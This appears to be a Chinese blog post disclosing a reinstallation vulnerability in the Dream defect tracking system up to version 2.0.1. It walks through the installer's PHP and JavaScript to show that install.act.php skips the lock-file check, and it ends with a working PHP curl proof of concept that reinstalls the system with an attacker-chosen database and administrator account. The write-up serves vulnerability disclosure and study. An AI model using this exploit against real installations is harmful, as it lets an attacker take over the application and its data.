• Dream权限追踪系统<=2.0.1 重安装漏洞


    在./install/install.php中

    1 if(file_exists('lock.txt')){
    2     echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
    3     exit();
    4 }

    通过检测lock.txt文件是否存在来判断系统是否已经安装了,

    但是看到代码的最后,发现是这个样子的

    1 <div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> &nbsp; <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />


    点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义

    1 function onNext(){
    2     window.location = "check.php";
    3 }

    直接导向至check.php文件了,来看看这个文件是怎么写的

     1 <?php
     2 /*
     3  * @varsion        Dream缺陷跟踪系统 2.0var
     4  * @package        程序设计深圳市九五时代科技有限公司设计开发
     5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
     6  * @link        http://www.d-winner.com
     7  */
     8   
     9 require_once (dirname(__FILE__) . "/inc/config.inc.php");
    10 $gd = gd_info();
    11 $curl = function_exists('curl_init');
    12 ?>
    13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    14 <html xmlns="http://www.w3.org/1999/xhtml">
    15 <head>
    16 <meta http-equiv="x-ua-compatible" content="ie=7" />
    17 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    18 <title>Dream缺陷跟踪系统 - 安装向导</title>
    19 ...

    并没有判断入口是否合法,所以可以直接在浏览器中访问之

    然后"下一步"又是个onNext()函数来处理的,继续看

     1 function onNext(){
     2     var data = document.getElementsByName("data");
     3     var num = 0;
     4     for(i=0;i<data.length;i++){
     5         if(data[i].value==1){
     6             num += Number(data[i].value);
     7         }
     8     }
     9     if(num==data.length){
    10         window.location = "mysql.php";
    11     }
    12     num = 0;
    13 }

    最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码

      1 <?php
      2 /*
      3  * @varsion        Dream缺陷跟踪系统 2.0var
      4  * @package        程序设计深圳市九五时代科技有限公司设计开发
      5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
      6  * @link        http://www.d-winner.com
      7  */
      8  
      9 if(file_exists('lock.txt')){
     10     echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
     11     exit();
     12 } 
     13  require_once (dirname(__FILE__) . "/inc/config.inc.php");
     14 ?>
     15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     16 <html xmlns="http://www.w3.org/1999/xhtml">
     17 <head>
     18 <meta http-equiv="x-ua-compatible" content="ie=7" />
     19 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
     20 <title>Dream缺陷跟踪系统 - 安装向导</title>
     21 <script language="javascript">
     22 <!-- 
     23 function onLast(){
     24     history.back();
     25 }
     26 
     27 function onClick(){
     28     h = list.host.value;
     29     n = list.name.value;
     30     u = list.user.value;
     31     wn = list.webname.value;
     32     hn = list.hostname.value;
     33     e = list.mail.value;
     34     au = list.adminuser.value;
     35     ap = list.adminpwd.value;
     36     ap2 = list.adminpwd2.value;
     37     if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
     38         alert("选项不能为空");
     39         return false;
     40     }else{
     41         if(ap!=ap2){
     42             alert("两次输入的密码不相同");
     43             return false;
     44         }
     45         if(!e.match(/@/)){
     46             alert("邮箱格式不正确");
     47             return false;
     48         }
     49         
     50         return true;
     51     }
     52 }
     53 -->
     54 </script>
     55 <link href="img/style.css" rel="stylesheet" type="text/css" />
     56 </head>
     57 <body>
     58  <form action="inc/install.act.php" method="post" name="list">
     59 <div align="center">
     60 <div class="main">
     61 <div class="top">
     62   <img src="img/logo_about.png" height="45" />
     63   <span>Dream缺陷跟踪系统</span></div>
     64  
     65  <div class="content">
     66    <table width="100%" border="0" cellspacing="0">
     67      
     68   <tr>
     69     <td height="26" colspan="3" class="top_txt">数据库信息</td>
     70     </tr>
     71   <tr>
     72     <td width="21%" height="22">数据库服务器:</td>
     73     <td width="34%">&nbsp;<input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
     74     <td width="45%">&nbsp;数据库服务器地址, 一般为 localhost</td>
     75     </tr>
     76   <tr>
     77     <td width="21%" height="22">数据库名:</td>
     78     <td width="34%">&nbsp;<input name="name" type="text" class="txt_wd" value="" /></td>
     79     <td>&nbsp;</td>
     80     </tr>
     81   <tr>
     82     <td width="21%" height="22">数据库用户名:</td>
     83     <td width="34%">&nbsp;<input name="user" type="text" class="txt_wd" value="" /></td>
     84     <td>&nbsp;</td>
     85     </tr>
     86   <tr>
     87     <td width="21%" height="22">数据库密码:</td>
     88     <td width="34%">&nbsp;<input name="pwd" type="password" class="txt_wd" value="" /></td>
     89     <td>&nbsp;</td>
     90     </tr>
     91   <tr>
     92     <td width="21%" height="22">数据表前缀:</td>
     93     <td width="34%">&nbsp;<input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
     94     <td>&nbsp;同一数据库运行多个系统时,请注意修改前缀</td>
     95     </tr>
     96   <tr>
     97     <td height="26" colspan="3" class="top_txt">程序及用户信息</td>
     98     </tr>
     99   <tr>
    100     <td width="21%" height="22">项目名称:</td>
    101     <td>&nbsp;<input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
    102     <td>&nbsp;</td>
    103   </tr>
    104   <tr>
    105     <td width="21%" height="22">项目域名:</td>
    106     <td>&nbsp;<input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
    107     <td>&nbsp;</td>
    108   </tr>
    109   <tr>
    110     <td width="21%" height="22">管理员邮箱:</td>
    111     <td>&nbsp;<input name="mail" type="text" class="txt_wd" value="" /></td>
    112     <td>&nbsp;请务必填写正确</td>
    113   </tr>
    114   <tr>
    115     <td width="21%" height="22">管理员账号:</td>
    116     <td>&nbsp;<input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
    117     <td>&nbsp;</td>
    118   </tr>
    119   <tr>
    120     <td width="21%" height="22">管理员密码:</td>
    121     <td>&nbsp;<input name="adminpwd" type="password" class="txt_wd" value="" /></td>
    122     <td>&nbsp;</td>
    123   </tr>
    124   <tr>
    125     <td width="21%" height="22">再输入一次密码:</td>
    126     <td>&nbsp;<input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
    127     <td>&nbsp;请牢记您的账号与密码</td>
    128   </tr>
    129 
    130 </table>
    131  </div> 
    132  <div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> &nbsp; <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" />
    133    
    134  <div><img src="img/step3.png" width="700" height="10" /></div>
    135  </div>
    136  <div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc.   All Rights Reserved</div>
    137 </div>
    138 </div></form>
    139 </body>
    140 </html>


    判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:

     1 <?php
     2 /*
     3  * @varsion        Dream缺陷跟踪系统 2.0var
     4  * @package        程序设计深圳市九五时代科技有限公司设计开发
     5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
     6  * @link        http://www.d-winner.com
     7  */
     8  
     9 session_start();
    10 require_once (dirname(__FILE__) . "/config.inc.php");
    11 include(PJINC.'/core/filesys.lib.php');
    12 
    13 $nf_d = new filesys;
    14 if(isset($_POST['put'])){
    15     if($_POST['put']!=''){
    16         $show = '';
    17         $host = trim($_POST['host']);
    18         $name = trim($_POST['name']);
    19         $user = trim($_POST['user']);
    20         $pwd = trim($_POST['pwd']);
    21         $prefix = trim($_POST['prefix']);
    22         $data = array();
    23         $data['webname'] = trim($_POST['webname']);
    24         $data['hostname'] = trim($_POST['hostname']);
    25         $data['mail'] = trim($_POST['mail']);
    26         $data['adminuser'] = trim($_POST['adminuser']);
    27         $data['adminpwd'] = trim($_POST['adminpwd']);
    28         $conn = mysql_connect($host,$user,$pwd);
    29 ...

    没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。

    POC:

     1 <?php
     2 $url="http://127.0.0.1/dream/install/inc/install.act.php";
     3 $data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
     4 $ch=curl_init();
     5 curl_setopt($ch,CURLOPT_URL,$url);
     6 curl_setopt($ch,CURLOPT_POST,1);
     7 curl_setopt($ch,CURLOPT_HEADER,0);
     8 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     9 curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
    10 $result=curl_exec($ch);
    11 curl_close($ch);
    12 print_r($result);
    13 ?>

    可以看到新的数据库hackedream已经成功建立鸟~~~

  • 相关阅读:
    美国贷款买饭的房屋保险
    ArrayList和数组间的相互转换
    JList动态添加元素
    美国交往礼仪
    刘元普双生贵子(但行好事,莫问前程)
    CountDownLatch与CyclicBarrier
    彻底理解Java的feature模式
    Java中的Future模式原理自定义实现
    浅谈Java Future接口
    Future接口和Callable接口以及FeatureTask详解
  • 原文地址:https://www.cnblogs.com/debugzer0/p/4736276.html
Copyright © 2020-2023  润新知